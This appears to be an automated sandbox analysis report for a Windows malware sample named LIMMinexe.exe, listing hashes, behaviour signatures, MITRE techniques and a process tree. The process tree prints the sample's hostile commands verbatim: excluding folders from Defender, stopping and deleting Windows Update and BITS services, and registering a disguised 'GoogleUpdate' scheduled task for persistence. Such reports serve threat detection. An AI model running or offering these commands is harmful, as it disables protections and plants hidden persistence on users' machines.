d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce

Analysis

max time kernel
76s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
01/07/2023, 07:12

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General

Target

LIMMinexe.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 5012 created 3316	5012	LIMMinexe.exe	28
PID 5012 created 3316	5012	LIMMinexe.exe	28
PID 5012 created 3316	5012	LIMMinexe.exe	28
PID 5012 created 3316	5012	LIMMinexe.exe	28
PID 5012 created 3316	5012	LIMMinexe.exe	28

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	LIMMinexe.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3092	sc.exe
4104	sc.exe
2168	sc.exe
3180	sc.exe
4284	sc.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5012	LIMMinexe.exe
5012	LIMMinexe.exe
4516	powershell.exe
4516	powershell.exe
5012	LIMMinexe.exe
5012	LIMMinexe.exe
5012	LIMMinexe.exe
5012	LIMMinexe.exe
5012	LIMMinexe.exe
5012	LIMMinexe.exe
1432	powershell.exe
1432	powershell.exe
5012	LIMMinexe.exe
5012	LIMMinexe.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeShutdownPrivilege	1448	powercfg.exe
Token: SeCreatePagefilePrivilege	1448	powercfg.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	3944	powercfg.exe
Token: SeCreatePagefilePrivilege	3944	powercfg.exe
Token: SeShutdownPrivilege	4848	powercfg.exe
Token: SeCreatePagefilePrivilege	4848	powercfg.exe
Token: SeShutdownPrivilege	4788	powercfg.exe
Token: SeCreatePagefilePrivilege	4788	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeSystemEnvironmentPrivilege	1432	powershell.exe
Token: SeRemoteShutdownPrivilege	1432	powershell.exe
Token: SeUndockPrivilege	1432	powershell.exe
Token: SeManageVolumePrivilege	1432	powershell.exe
Token: 33	1432	powershell.exe
Token: 34	1432	powershell.exe
Token: 35	1432	powershell.exe
Token: 36	1432	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeSystemEnvironmentPrivilege	1432	powershell.exe
Token: SeRemoteShutdownPrivilege	1432	powershell.exe
Token: SeUndockPrivilege	1432	powershell.exe
Token: SeManageVolumePrivilege	1432	powershell.exe
Token: 33	1432	powershell.exe
Token: 34	1432	powershell.exe
Token: 35	1432	powershell.exe
Token: 36	1432	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 4104	3136	cmd.exe	98
PID 3136 wrote to memory of 4104	3136	cmd.exe	98
PID 336 wrote to memory of 1448	336	cmd.exe	97
PID 336 wrote to memory of 1448	336	cmd.exe	97
PID 3136 wrote to memory of 2168	3136	cmd.exe	100
PID 3136 wrote to memory of 2168	3136	cmd.exe	100
PID 336 wrote to memory of 3944	336	cmd.exe	99
PID 336 wrote to memory of 3944	336	cmd.exe	99
PID 3136 wrote to memory of 3180	3136	cmd.exe	101
PID 3136 wrote to memory of 3180	3136	cmd.exe	101
PID 336 wrote to memory of 4848	336	cmd.exe	102
PID 336 wrote to memory of 4848	336	cmd.exe	102
PID 336 wrote to memory of 4788	336	cmd.exe	103
PID 336 wrote to memory of 4788	336	cmd.exe	103
PID 3136 wrote to memory of 4284	3136	cmd.exe	104
PID 3136 wrote to memory of 4284	3136	cmd.exe	104
PID 3136 wrote to memory of 3092	3136	cmd.exe	105
PID 3136 wrote to memory of 3092	3136	cmd.exe	105
PID 3136 wrote to memory of 4696	3136	cmd.exe	106
PID 3136 wrote to memory of 4696	3136	cmd.exe	106
PID 3136 wrote to memory of 3084	3136	cmd.exe	107
PID 3136 wrote to memory of 3084	3136	cmd.exe	107
PID 3136 wrote to memory of 4200	3136	cmd.exe	108
PID 3136 wrote to memory of 4200	3136	cmd.exe	108
PID 3136 wrote to memory of 4852	3136	cmd.exe	109
PID 3136 wrote to memory of 4852	3136	cmd.exe	109
PID 3136 wrote to memory of 4488	3136	cmd.exe	110
PID 3136 wrote to memory of 4488	3136	cmd.exe	110
PID 4160 wrote to memory of 2876	4160	cmd.exe	113
PID 4160 wrote to memory of 2876	4160	cmd.exe	113

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3316
- C:\Users\Admin\AppData\Local\Temp\LIMMinexe.exe
  "C:\Users\Admin\AppData\Local\Temp\LIMMinexe.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4516
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4104
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2168
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3180
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4284
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3092
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4696
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3084
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4200
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4852
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4488
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:336
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1448
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4848
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1432
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\LIMMinexe.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_edf5155d.tro.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1432-159-0x0000022A662B0000-0x0000022A662C0000-memory.dmp

Filesize
64KB

Download
memory/1432-160-0x0000022A662B0000-0x0000022A662C0000-memory.dmp

Filesize
64KB

Download
memory/1432-161-0x0000022A662B0000-0x0000022A662C0000-memory.dmp

Filesize
64KB

Download
memory/4516-133-0x000002E6A4EA0000-0x000002E6A4EB0000-memory.dmp

Filesize
64KB

Download
memory/4516-134-0x000002E6A4EA0000-0x000002E6A4EB0000-memory.dmp

Filesize
64KB

Download
memory/4516-144-0x000002E6A5A00000-0x000002E6A5A22000-memory.dmp

Filesize
136KB

Download
memory/5012-164-0x00007FF6B7620000-0x00007FF6B79BA000-memory.dmp

Filesize
3.6MB

Download